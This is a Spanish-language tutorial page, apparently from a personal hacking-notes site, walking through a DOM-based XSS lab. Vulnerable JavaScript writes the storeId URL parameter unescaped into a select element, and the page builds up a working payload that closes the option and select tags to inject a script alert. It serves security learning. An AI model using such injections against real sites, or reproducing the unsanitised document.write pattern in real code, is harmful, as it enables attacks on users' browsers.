> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM con document.write dentro de un select

### DOM XSS en el destino document.write usando la fuente location.search dentro de un elemento select

<figure><img src="/files/e4b580e7ffa78e47769a5318463f90a1aa7eb136" alt=""><figcaption></figcaption></figure>

El siguiente código genera dinámicamente un `<select>` menú desplegable con diferentes ciudades, y selecciona la que se transmite en el **storeId** parámetro de la URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Ejemplo con parámetro:

```
product?productId=2&storeId=Jordan
```

* Esto agrega una nueva opción a la lista desplegable.

<figure><img src="/files/77c885b2ba2e4e4d392c9efc1732867062e713a0" alt=""><figcaption></figcaption></figure>

Al cerrar manualmente el `<option>` etiqueta:

```javascript
</option>Jordan
```

`<select>` también puede cerrarse:

```javascript
</option></select>Jordan
```

<figure><img src="/files/617d71b8e1d8bc9f4e13176d47b4ea1775ba4b27" alt=""><figcaption></figcaption></figure>

Inyección final para ejecutar JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/7969ad045486115df5ad8b22e64f7ccd815802af" alt=""><figcaption></figcaption></figure>


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